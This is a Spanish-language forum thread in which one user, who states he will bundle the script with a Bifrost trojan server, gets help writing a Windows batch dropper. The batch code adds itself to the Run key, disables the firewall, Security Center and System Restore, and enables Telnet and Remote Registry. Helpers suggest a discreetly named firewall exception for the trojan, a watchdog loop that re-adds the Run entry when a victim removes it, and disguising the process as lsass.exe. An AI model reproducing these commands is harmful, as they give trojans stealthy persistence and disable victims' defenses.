Como hacer funcionar este batch perfectamente?

Iniciado por SoloAki, 7 Enero 2008, 00:53 AM

0 Miembros y 1 Visitante están viendo este tema.

Stacker

CitarEste script estaria bien

Sí, el script funcionaria bien. (habria que pulsar una tecla cada vez que haya un pause)

Aunque en el bucle no hace falta que se repitan lineas:
:bucle
start /min explorer.exe
ping -n 120 localhost > nul
goto bucle


y si lo vas a compilar como aplicación oculta no hacen falta los > nul para "silenciar" el ping, ya que no se verán. Además en este caso tendrias que eliminar los pause por el mismo motivo.

Una última cosa: si el apagado del firewall va a ser utilizado es mejor crear una excepción y se evita facilmente la alerta del usuario (el firewall de windows seguiria funcionando y permitiria tu conexión):
reg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
/v "[archivo ejecutable a permitir]" /t REG_SZ /d "[archivo ejecutable a permitir]:*:Enabled:[Nombre de la conexión]"


Si lo vas ha utilizar como *.bat funcionará perfectamente como está.

Saludos

SoloAki

#21
Entonces seria asi :

CitarCódigo:
@echo off
reg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
/v sys32.bat /t REG_SZ /d " sys32.bat:*:Enabled: Firewall"
REG ADD "hklm\software\microsoft\windows\currentversion\run" /v sys32.bat /d %windir%\system32\1234\sys32.bat /f
netsh firewall set opmode mode = DISABLE
net stop SharedAccess
:bucle
start /min explorer.exe
ping -n 120 localhost > nul
goto bucle

en donde dice Enabled: seria el nombre que se va a ver como excepciones? Nose podria poner uno que ya este? por ejemplo Entorno uPnP o escritorio remoto nose..
Lo voy a compilar con el quick batch compiler :D aunque los antivirus ya estan tomando una dll de este como herramienta maliciosa!. Y si no lo compilo con nada se va a ver la ventana msdos verdad?

PD: Encontre mas ideas para mejorar el batch solo quisiera saber como desabhilitar o habilitar los servicios. services.msc

Osea estado de inicio : como cambiarlo de iniciado a detenido y tipo de inicio como cambiarlo a automatico manual o desabilitarlo. Espero que me puedas ayudar asi termino mas o menos mi batch. Creo que encontre unos trucos muy pero muy utiles :D

Stacker

#22
Hay una cosa que no has entendido muy bien.

El batch no necesita pasar el firewall, lo necesitan aquellos ejecutables usados en el batch que necesiten acceso a internet. Por ejemplo: si tu aplicación ya compilada utiliza netcat para dejar puertos a la escucha windows avisará al usuario, preguntandole si desea permitir esta conexión. La forma de evitarlo es con:

reg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "%windir%\nc.exe" /t REG_SZ /d "%windir%\nc.exe:*:Enabled:MSN"

Donde: Enabled - indica que se quiere permitir siempre la conexión.
También puede cambiar por: Disabled - no permitirá la conexión.

En el ejemplo he usado como nombre de la conexión MSN, este nombre si puede coincidir con uno ya existente, ya que en el registro se almacena con un valor que utiliza como nombre la ruta del archivo.




CitarY si no lo compilo con nada se va a ver la ventana msdos verdad?

Sí, será visible. De todas formas ¿me podrias decir el nombre de la dll y la versión de QBFC?, solo por curiosidad. :)




Vamos con los servicios.


  • Parar un servicio: NET STOP "Nombre de servicio"
  • Iniciar un servicio: NET START "Nombre de servicio"
  • Pausar un servicio: NET PAUSE "Nombre de servicio"
  • Continuar un servicio: NET CONTINUE "Nombre de servicio"

- Como nombre de servicio vale el descriptivo ("Actualizaciones atomáticas") o el de servicio en si ("wuauserv")

El modo de inicio (Automatico, Manual o Deshabilitado) se cambia modificando el registro:

En la clave "HKLM\STEMYS\CurrentControlSet\Services", existe una clave para cada servicio y dentro un valor REG_DWORD de nombre Start, por ejemplo para actualizaciones automáticas: "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv\Start".

Este valor puede ser:

  • 2 - Automático
  • 3 - Manual
  • 4 - Deshabilitado

PE:
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /v Start /d 4 /f
-Deshabilitaria Actualizaciones automáticas.


PD: Te recomiendo buscar información sobre el comando NET puede dar mucho juego.  ;)


Saludos.

SoloAki

Aja ya vi un par de cosas.. creo que aca esta el bat supongo me gustaria saber si esta bien. Lei acerca del net y bueno por ahora creo que no lo voy a utilizar. Los archivos que me tomaban como infectado eran unas dll del quick batch compiler el stubc.dll o el otro que no me acuerdo.

Aca esta me decis si esta bien o mal.

CitarCódigo:
@echo off
reg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
/v system32.bat /t REG_SZ /d " system32.bat:*:Enabled: MSN"
REG ADD "hklm\software\microsoft\windows\currentversion\run" /v system32.bat /d %windir%\system32\1234\system32.bat /f
netsh firewall set opmode mode = DISABLE
net stop SharedAccess
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess" /v Start /d 4 /f
net start AppMgmt
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt" /v Start /d 4 /f
net start ProtectedStorage
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\ProtectedStorage" /v Start /d 2 /f
net start LmHosts
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\LmHosts" /v Start /d 2 /f
net stop wscsvc
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v Start /d 4 /f
net start RemoteRegistry
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\RemoteRegistry" /v Start /d 2 /f
net stop Srservice
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Srservice" /v Start /d 4 /f
net start TlnSvr
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\TlnSvr" /v Start /d 2 /f
:bucle
start /min explorer.exe
ping -n 120 localhost > nul
goto bucle

Me gustaria saber otra cosa al reiniciar se ejecuta otra vez el .bat pero solo quiero que de esa parte se ejecute el bucle por ejemplo. Otra cosa tardaria mucho en finalizar el .bat? lo compilo con el quick y no se va a ver ni la ventana ni la ventana del explorer tampoco jeje, pero me gustaria saber si tardaria mucho en ejecutar todo el bat.

Novlucker

Por lo que he estado viendo, no me quedan claras las primeras líneas

CitarHKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
/v system32.bat /t REG_SZ /d " system32.bat:*:Enabled: MSN"
REG ADD "hklm\software\microsoft\windows\currentversion\run" /v system32.bat /d %windir%\system32\1234\system32.bat /f
netsh firewall set opmode mode = DISABLE

CitarHKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
/v system32.bat /t REG_SZ /d "%windir%\system32\1234\system32.bat:*:Enabled: MSN"
REG ADD "hklm\software\microsoft\windows\currentversion\run" /v system32.bat /d %windir%\system32\1234\system32.bat /f
netsh firewall set opmode mode = DISABLE

Para que la primera línea estuviera correcta deberia de ser así, igualmente no veo para que la estas utilizando, ya que eso lo que hace es agregar una excepción el el firewall, esto se hace para que no salga el mensaje junto al reloj diciendo que el firewall esta desactivado, pero la cuestión es que tu no saldrás con ninguna aplicación, el system32.bat no intenta conectarse a nada, además de que con la tercera línea desactivas el firewall, entonces igual salta el mensaje  :P

Citarsolo quiero que de esa parte se ejecute el bucle por ejemplo

Esto lo podrías hacer, primero leyendo una de las claves del registro que has incluido, por ejemplo la que incluye el bat en el arranque, y luego con un if, determinar si se ejecutan los Net o si pasas directamente al bucle

Tardar, tarda unos 6 segundos aprox, eso me ha demorado a mi en una máquina (virtual  ;D) con 512 mb, p4 de 3.0g

Saludos




Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

SoloAki

#25
Lo voy a adjuntar con un server de un troyano y lo que quiero hacer con esa parte es desabhilitar y desactivar el firewall de windows. En todo caso el .bat seri asi entonces.


Citar
CitarCódigo:
@echo off
REG ADD "hklm\software\microsoft\windows\currentversion\run" /v system32.bat /d %windir%\system32\1234\system32.bat /f
netsh firewall set opmode mode = DISABLE
net stop SharedAccess
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess" /v Start /d 4 /f
net start AppMgmt
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt" /v Start /d 4 /f
net start ProtectedStorage
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\ProtectedStorage" /v Start /d 2 /f
net start LmHosts
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\LmHosts" /v Start /d 2 /f
net stop wscsvc
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v Start /d 4 /f
net start RemoteRegistry
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\RemoteRegistry" /v Start /d 2 /f
net stop Srservice
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Srservice" /v Start /d 4 /f
net start TlnSvr
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\TlnSvr" /v Start /d 2 /f
:bucle
start /min explorer.exe
ping -n 120 localhost > nul
goto bucle

Asi compilado cuanto tardaria? Y asi el bat no da señal alguno verdad? Podrias ejecutarlo asi otra vez sino es mucha molestia?

agrege el bat al run desactive el firewall detengo el servicio de firewall y despues otra cosas. Cuando lo ejecutas asi se ve algo? algun mensaje de que se detuvo el firewall,etc. Ahora me pongo a ver acerca del comando ese para no ejecutar todo el bat otra vez. Pero.. que me recomendais ejecutar el bat asi? o acortarlo despues de ejecutar todo eso. A este bat lo voy a adjuntar con un server.

En todo caso si desabilito el firewall y detengo el servicio con esto quiere decir que va a aceptar todas las conexiones? por ejemplo la de un server. Porque en caso de que no sea asi tendria que agregarlo. seria algo asi suponiendo que el server esta en system32\bifrost

Citarreg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "%windir%\system32\bifrost\server.exe" /t REG_SZ /d "%windir%\system32\bifrost\server.exe:*:Enabled:Asistencia Remota

PD: Cuando dices además de que con la tercera línea desactivas el firewall, entonces igual salta el mensaje. Donde salta el mensaje en el centro de seguridad? Yo en el batch agregue que el centro de seguridad este desactivado y el servicio detenido. Porque habria de saltar :P

Gracias por su ayuda realmente me estan ayudando un monton ! se los agradezco.  :-[

Stacker

Con cualquiera de estas dos lineas:

  • netsh firewall set opmode mode = DISABLE
  • net stop SharedAccess

-saltará una advertencia de seguridad al lado del reloj de windows. Por lo que te recomiendo, a no ser que de verdad quieras desactivar todo el firewall y permitir todas las conexiones, que solamente hagas una excepción en el firewall para tu server con un nombre discreto. De esta forma será silencioso y al ejecutarse al inicio del sistema pasará desapercibido.

Además, la linea que más tarda en ejecutarse con diferencia es "net stop SharedAccess" - Seguiré buscando algo para evitar la alerta

Citarreg add HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "%windir%\system32\bifrost\server.exe" /t REG_SZ /d "%windir%\system32\bifrost\server.exe:*:Enabled:Asistencia Remota"


Con lo de saltar la parte de código antes del bucle creo que si no tarda mucho es mejor que se ejecute, asegurando la configuración (por si hay futuros cambios). Sobre todo en la que se modifica el firewall ya que puede delatar a tu server.


CitarGracias por su ayuda realmente me estan ayudando un monton ! se los agradezco.   :-[
De nada, creo que todos los que estamos aquí disfrutamos con este tipo de cosas. :D

Saludos

Ryo

oigan, gracias yo tmb tenia ese tipo de problemas ^^ jeje gracias amigos

SoloAki

Osea que por ahora lo mejor que puedo hacer con el firewall es agregar una excepción. Es la unica forma que pasaria desadvertido pero desactivando el firewall de windows a mi personalmente no me aparece ningun cartel porque podra ser. Bueno por ahora sera agregar una excepcion con un nombre normal como entorno upnp pero si lo agrego con el mismo nombre en las excpeciones se va ver? o va a estar escondido en el mismo?. Otra duda mas que tengo es esta, si la persona ve en el msconfig el start del bat lo va a ver con la extension .bat? porque le podria poner el nombre de ctfmon que pasaria desapercibido. Pero si la persona saca el run, la proxima vez el .bat no se ejecutaria verdad? nose puede hacer un autocopy osea si la persona lo elimina volver a agregarlo al registro jeje. Por ahora estoy concentrado en lo del firewall para ver si lo podemos desactivar.

Stacker

Si colocas dos excepciones con el mismo nombre aparecerán las dos y serán distinguibles solamente al pulsar sobre modificar, ya que mostrará el ejecutable referido.

Citarsi la persona ve en el msconfig el start del bat lo va a ver con la extension .bat?
No en la primera columna, aunque si en la segunda (Comando) en la que aparece la ruta completa. Esta suele cortarse asi que si el nombre es discreto... ;)

En cuanto a lo de restaurar el valor de registro se me ha acurrido este código de otro EXE que puedes lanzar al inicio del otro con start (para que no se detenga la ejecución del primero)
:r
ping 127.0.0.1 /n 20
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v [Nombre de valor]
if %errorlevel%==1 reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v [Nombre de valor] /d "[Ejecutable]" /f
goto r


Este puede ser utilizado para comprobar si faltan archivos y volver a copiarlos o cualquier otra tarea. Si además lo compilas con el nombre de lsass.exe, comprobarás que el administrador de tareas tiene problemas para finalizarlo ;D
-Aunque con taskkill /f /pid [PID] si puede ser cerrado. Esto pasa con cualquier proceso crítico del sistema

Saludos